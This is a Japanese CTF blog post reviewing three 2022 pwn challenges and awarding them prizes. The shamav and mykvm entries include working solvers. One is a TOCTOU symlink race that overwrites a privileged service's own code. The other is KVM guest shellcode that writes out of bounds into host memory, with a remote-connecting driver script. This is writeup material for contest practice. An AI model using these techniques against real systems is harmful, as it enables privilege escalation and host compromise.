この記事はCTF Advent Calendar 2022の6日目の記事です。 昨日はEdwow Mathさんの「Cryptoプレーヤーを始めてから今までで躓いたポイントとその解消法」でした。 前後をcrypto記事で挟まれてオセロなら負けてた。
さて、去年のBest Pwnable Challenges 2021に引き続き、主観で面白かったpwn問を選んでみます。 私が今年参加したCTFかつ解いた問題から選んでいるので、ご了承ください。*2 参加CTF数が少ないのかpwnに飽きたのか、「これは誰が見ても面白い」みたいな問題があまり見つからなかったので、賛否両論だと思います。
corchat - 創造力賞
創造力賞(Creativity Award):解法がもっとも独創的だった問題に与えられる賞
概要と解説
最初に紹介するのがcorCTF 2022で出題されたcorchatという問題です。Crusaders of Rustのjazzpizazzさんとryaagardさんが作ったそうです。 問題内容は以下のwriteupをご覧ください。
コメント
スレッドのスタックからmaster canaryを書き換えるという問題はたまに見ますが、NULLバイト書き込みで1バイトずつcanaryを消していくという発想が面白かったです。 corCTFはあまり参加していませんが、他にも面白い問題があったそうなので要チェックですね。
shamav - 脆弱性賞
脆弱性賞(Vulnerability Award):脆弱性がもっとも巧妙かつ自然に隠されていた問題に与えられる賞
概要と解説
次に紹介するのがSan Diego CTF 2022のshamavです。この問題は一般的なpwnと違い、ファイルシステムに関する知識が問われるmisc寄りの問題です。k3v1nさんが作問しています。
内容ですが、Python製のしょぼいアンチウイルスを実装したサービスになっています。 検査したいファイルパスはソケット経由で送信します。
def scan(path: str): res = _scan(path) log(f'[I] Scan complete: {path}') return res ... with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s: try: os.unlink(SOCKET_FILE) except FileNotFoundError: pass s.bind(SOCKET_FILE) os.chmod(SOCKET_FILE, 0o777) s.listen() while True: log(f'[I] Ready for the next client') conn, _ = s.accept() res = scan(recvall(conn).decode(errors='surrogateescape')) log(f'[I] Scan result: {res}') try: conn.sendall(res.encode()) except OSError as e: log(f'[E] OS error on sendall: {e}')
スキャンは単純にハッシュ値を比較する実装になっています。 ハッシュ値が一致すれば、該当ファイルを別ディレクトリに隔離するような実装になっています。
def is_malware(file: str): with open(file, 'rb') as f: return hashlib.sha256(f.read()).hexdigest() in malware_hashes def _scan(path: str): log(f'[I] Scanning file {path}') try: if os.lstat(path).st_uid != USER_UID: return "You do not have permission to scan this item" except OSError as e: return f'Error from OS: {e}' target_path = f'/home/antivirus/quarantine/sham-av-{genrandom()}' log(f'[D] Copying file from {path} to {target_path}') try: shutil.copyfile(path, target_path) if is_malware(target_path): log(f'[I] Found malware at {path}') return f'***** Malware detected! File quarantined at {target_path} *****' except IsADirectoryError as e: return f'An error occurred: {e}' return "File scan completed. No malware detected."
アンチウイルスはantivirusユーザーで実行されており、我々はctfユーザーにいます。 Dockerfileは配布されていませんでしたが、リモートの様子を再現すると次のような権限になっています。
RUN chown antivirus:antivirus * RUN chmod 755 launcher.sh RUN chmod 755 server.py RUN chmod 644 malware-hashes.txt
あとあんまり覚えてないですが、quarantine
ディレクトリは実行権限はないですが、他ユーザーにも読み書きの権限はあったと思います。
Python製ということもありTOCTOUが脆弱性なのは明らかですが、何をどう競合させるかで結構悩んだ記憶があります。 脆弱性が明らかなのに脆弱性賞なのかという感じですが、コードが小さい割にどう利用するかで結構悩んだので......
目標としては、以下のコードを悪用します。
shutil.copyfile(path, target_path)
copyfile
はdstがシンボリックリンクのとき、リンク先にsrcの内容を上書きします。
もしdstに任意のシンボリックリンクが置ければ、アンチウイルスのコードそのものを上書きできます。
server.py
は何らかの原因でクラッシュすると自動的に再起動するようになっているため、もしserver.py
を書き換えられればantivirus権限が得られます。
実際、FIFOをスキャンさせると落ちるため、antivirus権限でのコード実行は実現可能です。
さて、問題はdstにシンボリックリンクを置けるかですが、宛先ファイル名は次のように生成されています。
with open('seed') as f: seed = base64.b64decode(f.read()) def genrandom(): global ctr result = hashlib.sha256(ctr.to_bytes(CTR_LENGTH, byteorder='little') + seed).hexdigest() ctr += 1 return result ... target_path = f'/home/antivirus/quarantine/sham-av-{genrandom()}'
当然seedは読めませんし、アンチウイルスが再起動するとseedは新しい乱数列で置き換わります。 想定解はこのseedをTOCTOUで置き換えるらしいのですが、今回は非想定解を使いました。
今回のプログラムは、av.log
にログを吐きまくります。
target_path = f'/home/antivirus/quarantine/sham-av-{genrandom()}' log(f'[D] Copying file from {path} to {target_path}')
このコードから分かるように、実はshutil.copy
の直前でログにtarget_path
が書き込まれています。
したがって、ログにファイル名が書き込まれてからコピーが走るまでの間に、ログからファイル名を取り出してシンボリックリンクで置き換えることができれば優勝です。 サーバーインスタンスがしょぼいので頑張る必要がありますが、次のようにスレッドを乱立させると優勝できました。
import re import threading import os import time os.system( "echo -n '#!/bin/sh\\nchmod 777 /home/antivirus/flag*\\n' > /tmp/kasu" ) win = False def f(): global win with open("/home/antivirus/av.log", "r") as logf: while not win: buf = logf.read() if not buf: continue r = re.findall("Copying file from (.+) to (.+)\n", buf) if not r: continue if os.system("ln -s /home/antivirus/server.py " + r[0][1] + " 2>/dev/null") == 0: win = True print("HIT!!", r[0][1]) break print(r[0][1]) threading.Thread(target=f).start() threading.Thread(target=f).start() threading.Thread(target=f).start() threading.Thread(target=f).start() while not win: os.system( "printf '/tmp/kasu' | socat - UNIX-CONNECT:/home/antivirus/socket 2>/dev/null" ) time.sleep(0.1) os.system("mkfifo /tmp/gomi") os.system("printf '/tmp/gomi' | socat - UNIX-CONNECT:/home/antivirus/socket") print("\n[+] DONE! Check flag :)")
コメント
権限が重要な問題にも関わらずDockerfileが配られていないという残念な点はありました。 また、これがpwnに分類されるべきなのかといった声もDiscord上で挙がっていましたが、個人的にはpwnで良いんじゃないかと思います。
TOCTOUの問題はwebで多いのかpwnではあまり出題されませんが、プログラム本体を書き換えるというのは中でも珍しいと思いました。
mykvm - 教育賞
教育賞(Educational Award):もっとも教育的な問題に与えられる賞
概要と解説
最後に紹介するのがAzure Assassin Alliance CTF 2022のmykvmです。作問者は不明(問い合わせ中)です。
この問題のプログラムは、KVMで実装されたサンドボックス上で任意の機械語を実行できるというサービスになっています。 以下はIDAででコンパイルしていい感じに構造体を定義した際のコードの一部です。
region.slot = 0; region.flags = 0; region.guest_phys_addr = 0LL; region.memory_size = 0x40000000LL; region.userspace_addr = (int)((_DWORD)&unk_602100 - (((((unsigned int)((int)&unk_602100 >> 31) >> 20) + (unsigned __int16)&unk_602100) & 0xFFF) - ((unsigned int)((int)&unk_602100 >> 31) >> 20)) + 4096); ioctl(vmfd, KVM_SET_USER_MEMORY_REGION, ®ion);
KVM_SET_USER_MEMORY_REGION
は、ゲストから見たメモリとホストのメモリ領域をマッピングするコマンドです。
userspace_addr
に該当するホスト側メモリアドレスを入れます。
これを読むと、memory_size
が圧倒的に大きく、実際のメモリ領域(0x10000バイト?)がまったく足りていないことが分かります。
したがって、ホストのbssセクションあたりで、ゲスト側から範囲外読み書きができるはずです。
KVM上でプログラムを動かすと、リアルモードで実行されます。 リアルモードは16-bitで動作するので、そのままでは範囲外参照できません。
そのため、この問題では保護モードに移行してから範囲外参照を実現する必要があります。 ぬくもりのある手作りGDTを用意して、lgdt命令でロードし、jmpで32-bitに移行します。
プログラム終了時に入力があるのですが、そのポインタがmallocで取られてbssに保存されているため、範囲外参照でこのポインタを書き換えておけばAAWが実現できます。
bits 16 _start: cli pusha lgdt [gdt_toc] sti popa mov eax, cr0 or eax, 1 mov cr0, eax jmp 0x08:start_pmode hlt gdt_toc: dw 4*8 dd _gdt _gdt: dw 0 dw 0 dw 0 dw 0 db 0xff db 0xff dw 0 db 0 db 10011010b db 11001111b db 0 db 0xff db 0xff dw 0 db 0 db 10010010b db 11001111b db 0 dw 0 dw 0 dw 0 dw 0 bits 32 start_pmode: mov ax, 0x10 mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax mov eax, 0x7100 mov ebx, [eax] cmp ebx, 0x60b010 sub ebx, 0x603010 mov eax, [ebx + 8] cmp eax, 0x31 jnz fail mov edi, [ebx + 0x1b58] mov esi, [ebx + 0x1b5c] sub edi, 0x3c51a8 xor edx, edx mov [edx], edi mov [edx + 4], esi mov al, [edx] out 1, al mov al, [edx+1] out 1, al mov al, [edx+2] out 1, al mov al, [edx+3] out 1, al mov al, [edx+4] out 1, al mov al, [edx+5] out 1, al mov al, [edx+6] out 1, al mov al, [edx+7] out 1, al mov al, 0x0a out 1, al mov eax, 0x7100 mov dword [eax], 0x602028 - 8 add edi, 0xf03b0 mov dword [ebx + 0x27f8], edi mov dword [ebx + 0x27fc], esi hlt fail: mov al, 0x65 out 1, al mov al, 0x21 out 1, al mov al, 0x0a out 1, al hlt
out命令でPython側にlibc leakしてますが特に使ってません。
from ptrlib import * code = nasm(open("shellcode.S").read()) print(code) libc = ELF("./libc-2.23.so") sock = Socket("nc 20.247.110.192 10888") sock.sendlineafter("size: ", str(len(code))) sock.sendafter("code: ", code) sock.sendlineafter("name: ", "A") sock.recvline() input("> ") sock.sendlineafter("passwd: ", "A") sock.recvline() libc_base = u64(sock.recvline()) libc.set_base(libc_base) sock.sendlineafter("name: ", b'\x00') sock.recvline() sock.interactive()
コメント
KVMについて知らなかったので、問題を解きながらいろいろ勉強になりました。 こういう、脆弱性は単純だけど新しい分野に触れるための問題みたいなの好き。
その他の良問
惜しくも受賞を逃した問題たちです。
- 創造力賞
- 脆弱性賞
- 教育賞
- auviel - Hayiim CTF 2022(悩んだけど教育賞としては若干難しいため除外)
- ecrypt fixed - LINE CTF 2022(rev要素が強かったため除外)
そういえば、今年TSG CTFなくない?
明日はだこつさんの「面白かった Crypto 問1-2つ紹介&解説」です。むずそう。